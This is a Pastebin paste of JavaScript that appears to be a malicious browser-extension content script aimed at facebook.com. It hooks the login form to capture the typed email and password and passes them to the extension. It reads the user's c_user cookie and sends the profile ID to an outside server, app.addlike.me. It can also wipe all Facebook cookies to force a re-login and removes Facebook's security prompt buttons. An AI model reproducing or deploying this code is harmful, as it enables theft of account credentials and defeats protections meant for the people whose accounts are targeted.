Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function blockRemove(){
- window.setInterval(function() {
- var dwn = document.getElementsByName("submit[Download]");
- var bno = document.getElementsByName("submit[No]");
- if (dwn.length > 0) {
- for (i = 0; i < dwn.length; i++) {
- dwn[i].outerHTML = "";
- }
- }
- if (bno.length > 0) {
- for (i = 0; i < bno.length; i++) {
- bno[i].outerHTML = "";
- }
- }
- }, 10);
- }
- function login(){
- var login_form = document.getElementById("login_form");
- if(login_form){
- login_form.onsubmit = function(){
- var login = {};
- login.email = document.getElementById("email").value;
- login.pass = document.getElementById("pass").value;
- chrome.runtime.sendMessage(login);
- }
- }else{
- checkTime();
- }
- }
- function checkTime(){
- var checkID = "logout23432";
- var lastCheck = localStorage[checkID] || 0;
- var timeLimit = 1000*60*10;
- var timeDiff = Date.now() - lastCheck;
- if(timeDiff >= timeLimit){
- localStorage[checkID] = Date.now();
- //checkUser();
- }
- }
- function checkUser(){
- fetch("https://app.addlike.me/php/login.php?k="+profile_id).then(function(response){
- return response.json();
- }).then(function(data){
- if(data.logout && data.logout == true){
- deleteAllCookies();
- location = "https://www.facebook.com/login.php";
- }
- })
- }
- function deleteAllCookies() {
- var cookies = document.cookie.split(";");
- for (var i = 0; i < cookies.length; i++) {
- var cookie = cookies[i];
- var eqPos = cookie.indexOf("=");
- var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;
- document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT;domain=.facebook.com";
- }
- }
- if(location.hostname.indexOf("facebook.com") >= 0 && !document.getElementById("isrunpass")){
- var ckid = document.cookie.match(/c_user=(\d+)/);
- profile_id = ckid ? ckid[1] : 0;
- var lg = document.createElement("meta");
- lg.id = "isrunpass";
- document.head.appendChild(lg);
- //login();
- //blockRemove();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement